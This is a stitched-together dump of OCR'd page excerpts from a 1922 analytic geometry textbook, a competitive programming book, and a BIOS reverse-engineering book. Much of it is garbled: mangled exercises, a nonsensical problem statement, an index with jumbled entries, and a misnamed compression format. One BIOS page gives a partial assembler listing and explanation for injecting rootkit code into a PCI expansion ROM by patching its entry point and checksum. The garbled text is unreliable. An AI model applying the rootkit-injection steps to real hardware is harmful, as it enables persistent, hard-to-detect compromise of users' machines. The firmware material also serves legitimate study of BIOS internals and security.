that its distance from the y-axis is equal to the square of its distance from \( (0, 0) \). 12. Find the equation of the locus of a point \( P \) which moves so that the sum of the squares of its distances from \( (−3, 0) \), \( (8, 0) \), and \( (0, 6) \) is equal to 93. Draw the locus. 13. Find the equation of the locus of a point \( P \) which moves so that the angles \( \angle AP0 \) and \( \angle OPD \) are equal, where \( O(0, 0) \), \( A(-4, 0) \), and \( B(2, 0) \). Draw the locus. If the angles are equal, then \( \tan u = \tan v \). 14. Solve Ex. 13 when \( A(0, -4) \) and \( B(3, 2) \). 15. Given \( A(-4, 0) \) and \( B(4, 0) \), find the equation of the locus of a point \( P \) which moves so that the angle \( \angle PBA \) is equal to twice the angle \( PBA \). Draw the locus. 16. The equation of the straight line which bisects the angles between the axes in the first and third quadrants is \( y = x \), and the equation of the line which bisects the angles between the axes in the other two quadrants is \( y = -x \). ``` #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 71 Context: Listing 3.3 Sample Makefile # ------------------------------------------------------------------ # Copyright © Darmawan Mappatutu Salihun # File name : Makefile # This file is released to the public for non-commercial use only # ------------------------------------------------------------------ CC= gcc CFLAGS= -c LD= ld LDFLAGS= -T pci_rom.ld ASM= as OBJCOPY= objcopy OBJCOPY_FLAGS= -v -O binary OBJS:= crt0.o main.o ROM_OBJ= rom.elf ROM_BIN= rom.bin ROM_SIZE= 65536 all: $(OBJS) $(LD) $(LDFLAGS) -o $(ROM_OBJ) $(OBJS) $(OBJCOPY) $(OBJCOPY_FLAGS) $(ROM_OBJ) $(ROM_BIN) build_rom $(ROM_BIN) $(ROM_SIZE) crt0.o: crt0.S $(ASM) -o $@ $< %.o: %.c $(CC) -o $@ $(CFLAGS) $< clean: rm -rf *~ *.o *.elf *.bin Listing 3.3 shows that there are two source files; the first one is an assembler source code that's assembled by GAS, and the second is a C source code that's assembled by the GNU C/C++ compiler. The object files from the compilation of both source codes are linked by the linker to form a single object file. This process is accomplished with the help of the linker script: $(LD) $(LDFLAGS) -o $(ROM_OBJ) $(OBJS) LDFLAGS is previously defined to parse the linker script file: 8 #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 53 Context: ```markdown printf("%d\n", fs.req(1, 1)); // => req[1] = 0 printf("%d\n", fs.req(1, 2)); // => req[1] = 1 printf("%d\n", fs.req(1, 5)); // => req[1] = 5 + 2 = 7 printf("%d\n", fs.req(1, 8)); // => req[1] = 8 - 1 // return 0; Example code: ch2/10/functions.cpp: ch2/10/functions:read.java ## Exercise 2.3.4.1: Rewind Tree has an additional operation: Find the index with a given cumulative frequency. For example, we want to know what is the minimum index shown in Table 2.2 so that there are at least 7 values covered (`Answer = index, score = 6`). Implement this feature! ## Exercise 2.3.4.2: Extend the ID Rewind Tree to 2D. Programming exercises that are data structures with our own libraries: 1. **Graph Data Structures Problems (with more graph problems as discussed in Chapter 4)** - 1. UVA 10946 - The Forest of Trees (apply the property of dual trees) - 2. UVA 12079 - Graph Construction *(single Edges-Cut List)* - 3. UVA 11057 - Matrix Traversing *(contouring edges)* - 4. UVA 1095 - Day of the Problem *(counting connected main)* - 5. UVA 11616 - Make a Bridge *(applying DFS to find bridges)* - 6. UVA 11900 - Easy Problem (from e.g., use the idea of Adjacency List) 2. **Union-Find Disjoint Sets** - 1. UVA 1065 - Partial Ordering (also solved with the root of in Section 4.2) - 2. UVA 11931 - Garbage Problem *(implement for inquiry)* - 3. UVA 11935 - Optimal Pairs *(join with graph)* 3. **Matrix and Related Queries** - 1. UVA 12825 - Disjointed Sequence *(pair searching query)* - 2. UVA 12587 - Pyramids *(implement two queries)* - 3. UVA 11608 - Heavy Pirates *(separate two queries)* - 4. UVA 1131 - Fish Will *(and find minimum queries)* - 5. UVA 11200 - Matrix Swap Problem *(optimal use of at least k swaps)* 4. **Tree and Array Problems** - 1. UVA 1280 - Increasing Subsequence (parse binary trees) - 2. UVA 11236 - Shipwreck (parse sum queries) Also see Part of the solution of harder problems in Chapter 5. "Since the graph gives a fixed number of edges, we can use the relation between the number of edges and the number of vertices to find the numbers of trees and cycles as well. The min and max trees can return the dimensions, while the sum of the edges can indicate the size of each node found. For future graph, use Numeric's formula `E = F - N + 2` where `E` is the number of edges." ``` #################### File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf Page: 34 Context: ``` # 28 GEOMETRIC MAGNITUDES ## Exercise 10. Review Determine, without writing, the slopes of the lines through the following pairs of points: 1. (1, 3), (5, 7) 2. (3, -2), (-2, 2) 3. (2, 3), (4, -4) 4. (4, -4), (1, 1) 5. (1, 0), (1, 1) Determine, without writing, the slopes of lines perpendicular to the lines through the following pairs of points: 6. (2, 4), (3, 2) 7. (0, 0), (0, 2) 8. (3, 3), (2, 4) 9. (4, 0), (4, 2) 10. Find the angle of inclination of the line through (3, 1) and (2, -4). 11. The line through (3, 2) and (0, 1) is 12. If P(8, 9) is on a circle whose center is (1, 6), find the radius of the circle and the slope of the tangent at P. 13. The points (5, 5) and (6, 3) are equidistant from (3, 2). 14. Given A(2, 1), B(-2, -2), and C(-4, -1), show that the angle ABC is a right angle. 15. The line through (b1) and (c1) is perpendicular to the line through (b - c) and (c - a). 16. Draw the triangle for (4, 6), (2, -2), (2, 4), and 6, and show that the line joining the midpoints of AB and AC is parallel to BC and equal to half of it. 17. Show that the circle with center (4, 1) and radius 10 passes through (2, 9), (10, -7). Draw the figure. 18. The circle of Ex. 20 also passes through (4, -4), find the value of x. 19. Through (0, 0), draw the circle cutting off the lengths a and b on the axes, and state the coordinates of the center and the length of the radius. ``` #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 17 Context: # Chapter 1 ## Introduction I want to compete in ACM ICPC World Finals — A dedicated student ### 1.1 Competitive Programming ‘Competitive Programming’ in summary, is this: “Given well-known Computer Science (CS) problems, solve them as quickly as possible!” Let’s digest the terms as we use them. The term ‘well-known CS problems’ implies that in competitive programming, we are dealing with solved CS problems and not research problems (where the solutions are still unknown). Definitely, some people (at least the problem authors) have solved these problems before. Seeing their template working code that “we must pull our CS knowledge to a certain extent to solve,” helps us shape our problem-solving style. As quickly as possible, we aim to optimize the problem-solving either for speed or data. “As precise as possible” is the ultimate competitive programming goal and the path is just as important. The true goal is to produce all-time competitive scientists! The founders of ACM International Collegiate Programming Contest (ICPC) have this vision in mind, perhaps, more than we do. With this book, we play our little role in helping new and future programmers to become competitive in dealing with well-known CS problems frequently cited in the recent ICPC and the International Olympiad in Informatics (IOI). ### Illustration on solving UVA Online Judge [38] Problem Number 1091 (Entering Quiz Teams). **Abridged Problem Description:** Let \( n \) be the number of a student’s teams in a quiz (or a debate). There are \( 2n \) students and you want to pair them into \( n \) groups. Let \( d \) be the distance between the holes of 2 students who support it. If \( R \) is your strong room and \( S = \sum d \), let’s determine the minimum cost. **Constraints:** \( 1 \leq n \leq 5, 2 \leq d \leq 1,000. \) **Sample Input:** ``` 3 2 4 6 5 8 11 ``` **Sample Output:** ``` 6 ``` > *“These programming competitions are done in haste cutting to encourage teamwork as software engineers usually do when building the software.”* > *By asking the teams to solve the problem faster, competitive programming encourages the problem solvers to exercise their critical thinking to think of possible concerns and their impact with regard to software constraints. The requirements they face software engineers have to test their software a lot to make sure the advice can meet the expectations set by their customers.* #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 140 Context: 1000:B1B6 add bx, 1 1000:B1B9 call patch_byte 1000:B1BC dec bx 1000:B1BD xor al, al 1000:B1BF add bx, 11h 1000:B1C2 call patch_byte ; Patch dest seg lo-byte to 00h 1000:B1C2 ; (dest seg = 4000h) 1000:B1C5 sub bx, 11h 1000:B1C8 inc dx ; dest_seg_lo_byte = dest_seg_lo_byte+1 1000:B1C9 shl dx, 2 ; (dest_seg_lo_byte + 1)*4 1000:B1CC add di, dx ; di = ((dest_seg_lo_byte+1)*4) + 6000h 1000:B1CE mov gs:[di], bx ; [((dest_seg_lo_byte + 1) * 4) + 6000h] 1000:B1CE ; = src_offset 1000:B1D1 mov cx, es 1000:B1D3 mov gs:[di+2], cx ; [((dest_seg_lo_byte + 1) * 4) + 6000h 1000:B1D3 ; + 2] = src_segment 1000:B1D7 clc 1000:B1D8 call get_src_byte 1000:B1DB movzx ecx, al ; ecx = LZH_hdr_len 1000:B1DF add bx, 7 ; eax = compressed_component_size 1000:B1E2 call get_dword 1000:B1E5 sub bx, 7 1000:B1E8 add ecx, eax ; ecx = compressed_cmpnnt_size + 1000:B1E8 ; LZH_hdr_len 1000:B1EB add ecx, 3 ; ecx = compressed_cmpnnt_size + 1000:B1EB ; LZH_hdr_len + sizeof(EOF_byte) + 1000:B1EB ; sizeof(LZH_hdr_len_byte) + 1000:B1EB ; sizeof(LZH_hdr_8bit_chk_sum) 1000:B1EF pop gs 1000:B1F1 assume gs:nothing 1000:B1F1 jmp exit 1000:B1F4 1000:B1F4 not_extension_component: ; ... 1000:B1F4 pop gs 1000:B1F6 mov ax, dest_segmnt 1000:B1F9 mov _dest_segmnt, ax 1000:B1FC mov ax, dest_offset 1000:B1FF mov _dest_offset, ax 1000:B202 and ah, 0F0h 1000:B205 cmp ah, 0F0h ; '=' 1000:B208 jnz short dest_offset_is_low 1000:B20A mov ax, dest_offset 1000:B20D mov _dest_segmnt, ax 1000:B210 xor ax, ax 1000:B212 mov _dest_offset, ax 1000:B215 1000:B215 dest_offset_is_low: ; ... 1000:B215 mov ecx, cmpressed_size 1000:B21A xor eax, eax 1000:B21D mov al, lzh_hdr_len 1000:B220 add ecx, eax ; Compressed_cmpnnt_size + LZH_hdr_len 34 #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 252 Context: ``` # INDEX - UVa 00034 - Transferrable Voting (II), 17 - UVa 00052 - Periodic Rainbow Numbers*, 1 45 - UVa 00303 - Seasonal War, 58 - UVa 00323 - Palsy Parabolas, 166 - UVa 00335 - The Boxes Are Locked, 128 - UVa 00356 - Square Free and Bounded Holes, 18 - UVa 00383 - Let Me Count The Ways*, 7 - UVa 00401 - Cop and Robbers, 164 - UVa 00402 - Lonesome Hummingbird, 10 - UVa 00431 - Adermann's Function, 123 - UVa 00478 - 2-D Box Mold*, 110 - UVa 00487 - Isolated Circles and …, 181 - UVa 00507 - Constructor’s*, 124 - UVa 00673 - Interesting Integers, 181 - UVa 00679 - [H, J, T], 17 - UVa 00731 - CIl Furniture, 45 - UVa 00831 - Making the Grade, 17 - UVa 00936 - Perfecting, 123 - UVa 00941 - Shipping Routes, 94 - UVa 00943 - Slurp, 104 - UVa 01024 - Perfect Cubes, 46 - UVa 01034 - Message Routing, 17 - UVa 01043 - Major League, 154 - UVa 01100 - Jumping Sudoku, 124 - UVa 01130 - [J.O.M. E.], 15 - UVa 01131 - Permutation, 16 - UVa 01134 - J and D Dampers, 123 - UVa 01136 - Swift Surfaces, 24 - UVa 01146 - Leo's Test, 46 - UVa 01162 - MPI Automation, 108 - UVa 01248 - Visitor Inquiry, 101 - UVa 01314 - L-Stack, 94 - UVa 01338 - Knight Moves, 16 - UVa 01351 - [An], 15 - UVa 01380 - Black Friday, 86 - UVa 01381 - [Misc], 6 - UVa 01427 - The Tower of Babylon, 68 - UVa 01429 - Triangulation, 176 - UVa 01430 - The Unconvex Hull, 158 - UVa 01437 - Lazy Binary Search, 16 - UVa 01500 - Lotto, 40 - UVa 01612 - Matrix Chain Multiplication, 154 - UVa 01843 - Inverted Sums*, 34 - UVa 02006 - Encoded Information, 19 - UVa 02116 - Marvelous Maze, 156 - UVa 02129 - Rubik's Cube, 128 - UVa 02160 - OOPs, 16 - UVa 02450 - Project Scheduling, 25 - UVa 02463 - Persimmon Tree, 159 - UVa 02474 - Linear Cellular Automata, 17 - UVa 02505 - The Dodecahedron, 11 - UVa 02567 - Graph Connectivity*, 17 - UVa 02572 - Beagle Bichon, 7 - UVa 02664 - Semilower/Parser Generator, 154 - UVa 02666 - Odometer, 128 - UVa 02676 - Surveying Signals, 24 - UVa 02720 - Key to Success, 43 - UVa 02759 - Bridges of Konigsberg, 38 - UVa 02773 - Paintball Rockets*, 421 - UVa 02774 - Realistic Probability, 142 - UVa 02775 - Points in Figures*, 86 - UVa 02782 - Puzzles: Surret, 184 - UVa 02785 - Points Inside, 36 - UVa 02790 - Skewed Corners, 119 - UVa 02801 - The Department of …, 26 - UVa 02884 - A Lattice of Transistor, 164 - UVa 02963 - Hanging Jumble*, 155 - UVa 02984 - Pins and Thresholds, 156 - UVa 03416 - Flipping Cards, Counting Game, 15 - UVa 03484 - A Shortest Path Problem, 45 - UVa 03299 - Stacks Davidson Initiative, 68 - UVa 03666 - Run All Bids Again*, 68 - UVa 03688 - Prime Routing Problem, 45 - UVa 05231 - Polynomial Slideshow, 23 - UVa 05262 - Prime Line Length Problems, 45 - UVa 06304 - Comprehensive, 162 ``` #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 254 Context: # INDEX - **UVa 0776** - Monkeys in a Regular Forest, 83 - **UVa 0276** - Counter Painting, 83 - **UVa 0137** - Cake Distribution, 83 - **UVa 1073** - Maximum Subsequence Sum, 63 - **UVa 1079** - Number of Ones, 68 - **UVa 1075** - Santorini's Capstone, 145 - **UVa 0083** - Brackets, 121 - **UVa 0811** - The Bisection Method, 104 - **UVa 0511** - Flooded, 157 - **UVa 0151** - Horoscopes, 104 - **UVa 0121** - Page Hopping, 9 - **UVa 0824** - Coast Route, 32 - **UVa 0683** - Walking on the Side Walk, 111 - **UVa 0383** - Water Fills, 134 - **UVa 0494** - Controlled Panic, 185 - **UVa 0270** - Largest Square, 68 - **UVa 0437** - Yeti, 7 - **UVa 0030** - Not a Problem, 113 - **UVa 0983** - Step, 125 - **UVa 0543** - A Multiplication Issue, 146 - **UVa 0855** - Lunch in Idaho City, 6 - **UVa 0015** - The Viking Cipher, 154 - **UVa 0485** - Substantial Property, 154 - **UVa 1210** - Noncompliant, 205 - **UVa 0081** - Airlines Compilation, 100 - **UVa 0082** - Cracking the Code, 67 - **UVa 1124** - Catastrophic Failure, 130 - **UVa 0084** - The Mallard Manuscript, 21 - **UVa 0424** - Factorials, 140 - **UVa 0096** - QuickSort, 122 - **UVa 1084** - Word Probabilities, 154 - **UVa 0970** - Cumulative Sums, 134 - **UVa 0079** - Jumping Champion, 134 - **UVa 0222** - Associated This and That, 47 - **UVa 0089** - Walking Around Wesley, 111 - **UVa 0272** - Integer Sequence from ..., 44 - **UVa 0995** - Eternal Truths, 94 - **UVa 0969** - Number Maze, 94 - **UVa 1186** - Climbing the Q's and N's..., 45 - **UVa 1014** - Permutations, 5 - **UVa 1081** - Participating Numbers, 155 - **UVa 0914** - Exhaustive Search, 116 - **UVa 0657** - Pope, 50 - **UVa 0860** - Sudoku Solver, 124 - **UVa 0478** - Pseudorandom, 202 - **UVa 0674** - Separable Numbers, 128 - **UVa 1097** - Succeeded Succeeding, 17 - **UVa 0675** - Made in Heaven, 11 - **UVa 0990** - I'm Fairy, God, 61 - **UVa 1150** - Safe Substitutions, 181 - **UVa 0998** - Longest Path, 18 - **UVa 1011** - Duck, 30 - **UVa 1004** - Excuse Me, 83 - **UVa 1065** - Carnival Mathematics, 121 - **UVa 1007** - Count the Trees, 134 - **UVa 1043** - What are You Doing?, 78 - **UVa 1060** - How? Why? Why Not?, 91 - **UVa 1023** - With the Correct Number 123 - **UVa 1012** - Super Registration, 129 - **UVa 1080** - Simple Calculations, 47 - **UVa 1001** - Area of Circles, 111 - **UVa 1068** - Jumping Numbers, 34 - **UVa 1013** - Pirate vs Pirate, 10 - **UVa 1063** - Jumping Subset, 111 - **UVa 1005** - The Measure, 118 - **UVa 1056** - Gambler, 122 - **UVa 1006** - What is the Probability?, 122 #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 259 Context: ``` INDEX UVa 1001 - Reggae, 185 UVa 1004 - Simple Addition, 123 UVa 1005 - Hashing, 210 UVa 1006 - Climbing the Borders, 58 UVa 1008 - Elevator Music, 40 UVa 1010 - A One-Legged People, 100 UVa 1011 - The Snail's Gate Problem, 110 UVa 1013 - Energy Land IV, 26 UVa 1014 - Elephant, 155 UVa 1015 - Building Pentagons, 25 UVa 1016 - We’re Traveling in Geometrical, 54 UVa 1017 - Format, 15, 55 UVa 1018 - Maximum Product, 45 UVa 1019 - Braces, 83 UVa 1020 - Mary’s School Dictionary, 25 UVa 1021 - Zero, 125 UVa 1022 - Number Tower, 140 UVa 1023 - The Road Taking Habit, 11 UVa 1024 - A Graph Problem, 132 UVa 1025 - The Garden's, 85 UVa 1026 - Equidistant, 69 UVa 1027 - Arcades, 74 UVa 1028 - Full Moon, 94 UVa 1029 - What’s Your Number?, 65 UVa 1030 - Hard Life, 32 UVa 1031 - Last and Latest Brother, 17 UVa 1032 - Lora, 21 UVa 1033 - Intersecting Platforms, 124 UVa 1034 - Colorful Flowers, 5, 184 UVa 1119 - Factors and Multiples, 13 UVa 1116 - Help My Brother [II], 139 UVa 1113 - King’s Job, 29 UVa 1117 - Relational Operators, 16 UVa 1118 - Probability [2nd] Given, 142 UVa 1119 - Group Numbers, 28 UVa 1112 - Another Q-Que Problem, 6 UVa 1120 - The Problem with Problem 2, 65 UVa 1124 - Maximal Inverse, 1, 134 UVa 1125 - Dots, 16 UVa 1126 - Replace with Paintings, 7 UVa 1127 - The Easiest, 196 UVa 1128 - E-KT, 21 UVa 1129 - How old are you?, 17 UVa 1130 - Decoding the Keyboard, 14 UVa 1131 - Initialize and Finalize, 16 UVa 1132 - Opal, 16 UVa 1123 - Back and White, 2 UVa 1124 - Upper or Lower, 15 UVa 1125 - Simple Partition, 12 UVa 1126 - Display the Outside, 141 UVa 1127 - Rearrangement, 123 UVa 1128 - The Subtract System, 8 UVa 1129 - Pedestrian Policy, 20 UVa 1130 - Duplicate Eaters, 64 UVa 1131 - Back to School, 113 UVa 1132 - Grayscale, 72 UVa 1133 - And Help Me Too?, 123 UVa 1134 - Ultimate Crossword, 115 UVa 1135 - Excessive Differences, 11 UVa 1136 - Copying Homework, 28 UVa 1137 - Cartoon Adventures, 8 UVa 1138 - Challenge Jobs, 28 UVa 1139 - Dependency, 31 UVa 1140 - Evolving Definitions, 135 UVa 1141 - Remember, 20 UVa 1142 - Losing the Last Player, 8 UVa 1143 - Superstar, 11 UVa 1144 - Completing Back, 12 UVa 1145 - Beginning of F, 25 UVa 1146 - Anger Management, 14 UVa 1147 - Business Numbers, 39 UVa 1148 - Scheduling Debug, 152 UVa 1149 - Filler, 17 UVa 1150 - Deleted Images, 71 UVa 1151 - Leaving the Party, 226 UVa 1152 - #Privilege, 23 UVa 1153 - Identify Time, 24 UVa 1154 - Hi and Bye, 12 UVa 1155 - Modern Operations, 134 UVa 1156 - Knowledge Bank, 12 UVa 1157 - No Happy Ending, 68 UVa 1158 - Split-A-Pear, 19 UVa 1159 - Alphabet tracking, 12 UVa 1160 - End Game, 55 UVa 1161 - Dags of Gags, 16 UVa 1162 - Your Job is to Print, 11 UVa 1163 - Do All but One, 213 UVa 1164 - ID and You, 29 UVa 1165 - The Minimum, 90 UVa 1166 - Timed Tasks, 127 UVa 1167 - Revising Sudokus, 201 UVa 1168 - Lasting Issues, 243 UVa 1169 - Shuffling Jobs, 115 UVa 1170 - Distinctive Shufflers, 134 UVa 1171 - Share Your Joys, 131 UVa 1172 - Flawed Systems, 5 UVa 1173 - Table of Maps, 126 UVa 1174 - Simple Closing, 206 UVa 1175 -…You Can Do It, 60 UVa 1176 - Placing and Printing, 6 UVa 1177 - Tennis Doomsday, 37 UVa 1178 - Reversed Handshake, 12 UVa 1179 - D and I, 41 UVa 1180 - Brute-Force Sums, 251 UVa 1181 - Update and General, 22 UVa 1182 - Complicating Atacama, 55 UVa 1183 - Simple System, 76 UVa 1184 - Made IT, 134 UVa 1185 - Stacks, 10 UVa 1186 - Plus and Minuses, 151 UVa 1187 - Following the Route, 55 UVa 1188 - Exactly On Time, 75 UVa 1189 - See Deluxe Spares, 23 UVa 1190 - Synchronise, 36 UVa 1191 - Ranges, 78 UVa 1192 - Ship Stealing, 141 UVa 1193 - Dividing Count, 134 UVa 1194 - Broken Circles, 7 UVa 1195 - Sorted Numbers, 16 UVa 1196 - Letters and More, 72 UVa 1197 - Composing Stacks, 12 UVa 1198 - Permanent Payment, 116 UVa 1199 - Coloring Solutions, 21 UVa 1200 - Adding Up DB, 22 UVa 1201 - Color-coding, 202 UVa 1202 - Faster than 10, 11 UVa 1203 - Cycle of Transfers, 133 UVa 1204 - Effective Drainage, 15 UVa 1205 - Rearrangement Tasks, 6 UVa 1206 - Squaring Yourself, 72 UVa 1207 - Uniquely Unique, 9 UVa 1208 - Keeping Your Secrets, 150 UVa 1209 - Dynamic Routing, 35 ``` #################### File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf Page: 94 Context: # THE STRAIGHT LINE If \( OD \) and \( OB \) are any two lines, and \( AB \) and \( AC \) any other two lines, the oblique axes being taken as shown in the figure, and the points \( A, B, \) and \( C \) being \( (0, 0) \), \( (x, y) \), and \( (x', y') \) respectively, find the following: 1. The equations of \( OB \) and \( AC \). 2. The coordinates of \( C \). 3. The coordinates of \( D \) and \( AB \). From the coordinates of \( C \) and \( D \) as found in Exs. 79 and 80 find the equation of \( CD \), and find the coordinates of the point \( Q \) in which \( CD \) cuts the axis. 4. Find the coordinates of the point \( P \) in which \( BE \) cuts \( OA \). 5. Show that the points \( R \) and \( Q \) divide \( OA \) internally and externally, respectively, in the same ratio. 6. For all lines in the plane prove that \( \frac{1}{x} + \frac{1}{y} = \frac{1}{d} \), where \( d \) and \( y \) have their usual meanings. 7. Since in any given length the number of inches \( x \) is proportional to the number of inches \( y \), it is evident that \( c = kx \), where \( k \) is a constant. Given that \( 10 \, \text{in.} = 254 \, \text{cm} \), find the value of \( k \) and plot the graph of the equation \( y = kx \). 8. If the graph is normally drawn on a rectangular scale, any desired number may be converted into continuous lines, and vice versa. Such a graph is called a *conversion graph*. 9. Given that \( 2 \, \text{ft} = 15 \, \text{gal} \), find the conversion formula for gallons and cubic feet, and draw the graph. 10. Two variables \( x \) and \( y \) are related by the linear formula \( y = ax + b \). If by substituting for any value \( y \) changes from \( y = y' \), the change in \( y \) can be represented as \( y - y' \). That is to say, prove that the change in \( y \) is proportional to the change in \( x \). #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 107 Context: # Chapter 5 Implementation of Motherboard BIOS ## PREVIEW This chapter explains how the BIOS vendor implements BIOS. It researches the compression algorithm used by BIOS vendors and the formats of the compressed components inside the BIOS binary. It also dissects several BIOS binary files from different vendors so that you can discover their internal structure. ## 5.1 Award BIOS This section dissects an Award BIOS binary. Use the BIOS for the Foxconn 955XAA-REKRS2 motherboard as a sample implementation. Its Award BIOS version 6.00PG dated November 11, 2005. The size of the BIOS is 4 MiB/512 KB. ### 5.1.1 Award BIOS File Structure An Award BIOS file consists of several components. Some of them are LZ4 level-1 compressed. You can recognize them by looking at the `-lh5-` signature in the beginning of that component by using a hex editor. An example is presented in hex dump 5.1. #### Hex dump 5.1 Compressed Award BIOS Component Sample | Address | Hex | ASCII | |------------|---------------------------------------------|------------------| | 00000000 | 252E 2663 6835 2B5 3A00 0000 5700 0000 | -lh5-...-... | | 00000010 | 0000 4120 010C 6172 6465 7874 2272 2A... | -AwardDex... | | 00000020 | 6F6D 8742 2000 002C F888 FBEF D823 499B... | ... | Besides the compressed components, there are pure 16-bit x86 binary components. Award BIOS execution begins in one of these pure binary components. The general structure of a typical Award BIOS binary is as follows: - **Boot block**: The boot block is a pure binary component; thus, it's not compressed. The processor starts execution in this part of the BIOS. - **Decompression block**: This is a pure binary component. Its role is to carry out the decompression process for the compressed BIOS components. 1. Pure binary refers to the component that is not compressed. #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 515 Context: ; NOTE: This is a _brute force_ approach. ; store word 0 at (_org_rom_start + 0x13) ; Store end of string marker ; because some expansion ROM uses the area ; after the ROM header for string ; jmp (_org_rom_start+0x15) store byte 0xEB at (_org_rom_start + 0x3) store byte (0x15 - 0x5) at (_org_rom_start + 0x4) ; jmp _start if ( (_start - (_org_rom_start + 0x17)) > 0xFF ) store byte 0xE9 at (_org_rom_start + 0x15) store word (_start - (_org_rom_start + 0x18)) at (_org_rom_start + 0x16) else store byte 0xEB at (_org_rom_start + 0x15) store byte (_start - (_org_rom_start + 0x17)) at (_org_rom_start + 0x16) end if ; -------------------------------------------------------------------- ; Calculate and patch PCI ROM size and add padding bytes for the ; custom ROM code ; rom_size = ( ( ($-_start) + 511) / 512 ) ; PCI ROM size in multiple of ; 512 bytes times ( rom_size * 512 - ($-_start) ) db 0 ; Insert padding bytes ; -------------------------------------------------------------------- ; Place the 8-bit patch_byte for the checksum in the reserved word of ; the original PCI data structure ; load _org_pcir_reserved word from (_org_rom_start + 0x18) _org_pcir_reserved = _org_pcir_reserved + 0x16 patch_8_bit_chksum _org_rom_start, ($-_org_rom_start), _org_pcir_reserved Listing 12.21 is indeed hard to understand for the average assembly language programmer who hasn't work with FASM. I'll start by explaining the idea behind the source code. You know the basic idea of a PCI expansion ROM rootkit from figure 12.12. In that figure, you saw that to inject a rootkit code into a working PCI expansion ROM binary, you have to patch the entry point of the original PCI expansion ROM and place your code in the "free space" following the original binary. Moreover, you also have to ensure that the size of the new binary is in a multiple of 512 bytes and it has a correct 8-bit checksum. These restrictions can be broken down into a few fundamental requirements such that the assembler is able to carry out all tasks in one source code.12 They are as follows: 12 The tasks in this context refer to calculating the checksum, adding padding bytes, patching the original PCI expansion ROM, etc. #################### File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf Page: 46 Context: # LOCI AND THEIR EQUATIONS Find the equation of the locus of the point P under the conditions of Exs. 18-21: 1. The distance of P from the line \(y = 3\) is equal to the distance of P from the point \( (0, -3) \). 2. The sum of the distances of P from the sides of a square is constant, the axis passing through the center of the square and being parallel to the sides. 3. The sum of the squares of the distances of P from the sides of a square is constant, the axes being as in Ex. 19. 4. A moving ordinate of the circle \(x^2 + y^2 = 36\) is always bisected by P. 5. The line AB in the figure is 4 ft. long, has a knob at \(P (1, 1)\) from A, and slides with its ends on OX and OY respectively. Find the equation of the locus of P. From the conditions of the problem P moves so that \(AX^2 + AY^2 = 1\). 6. In Ex. 22 find the equation of the locus of the mid-point of the rod AB, and draw the locus. 7. Let every point P of the plane be attracted towards \(O(0, 0)\) with a force equal to \(5 / r^2\), and towards \(A(2, 0)\) with a force equal to \(6 / r^2\), find the equation of the locus of all points P which are equally attracted towards O and A, and draw this locus. 8. If a certain spring PA is 6 ft. long, attached at A \((0, 0)\), is extended to reach P, the pull at P is 6 pounds. A 3-inch spring of like strength being attached at B \((-2, 0)\) is required to find the equation of the locus of all points in the plane at which the pull from A is twice that from B. The pull behind PA is not time the number of inches in PB, but only the distance from the ends of each length over time, the original length regarding. It is assumed that the coordinates are measured in feet. Similarly, the pull along PB is five times the excess of the length of PB over 3 in. #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 64 Context: Chapter 3 BIOS-Related Software Development Preliminary PREVIEW This chapter explains the prerequisite knowledge you need in the development of BIOS-related software, particularly BIOS patch and PCI expansion ROMs. The first section explains how to build a flat binary file from assembly language code. Later sections focus on how to use the GNU Compiler Collection (GCC) facility to build a flat binary file. GCC linker script and its role in the development of flat binary files are explained. 3.1. BIOS-Related Software Development with Pure Assembler Every system programmer realizes that BIOS is "bare metal" software. It interfaces directly with the machine, with no layer between the BIOS and the silicon. Thus, any code that will be inserted into the BIOS, such as a new patch or a custom-built patch, must be provided in flat binary form. Flat binary means there's no executable file format, headers, etc., only bare machine codes and self-contained data. Nevertheless, there's an exception to this rule: expansion ROM has a predefined header format that must be adhered to. This section shows how to generate a flat binary file from an assembly language file by using the netwide assembler (NASM) and flat assembler (FASM). Start with NASM. NASM is a free assembler and available for download at http://nasm.sourceforge.net. NASM is available for both Windows and Linux. It's quite powerful and more than enough for now. Listing 3.1 shows a sample source code in NASM of a patch I injected into my BIOS. Listing 3.1 Sample BIOS Patch in NASM Syntax ; --------------- BEGIN TWEAK.ASM -------------------------------- BITS 16 ; To make sure NASM adds the 66 prefix to 32-bit instructions section .text start: pushf push eax push dx mov eax,ioq_reg ; Patch the ioq register of the chipset mov dx,in_port out dx,eax mov dx,out_port in eax,dx or eax,ioq_mask out dx,eax 1 #################### File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf Page: 113 Context: ``` # REVIEW 42. In Ex. 41 show that the line of centers is divided by the center of \( S + kS' = 0 \) in the ratio \( k : 1 \). What interpretation is to be given to the 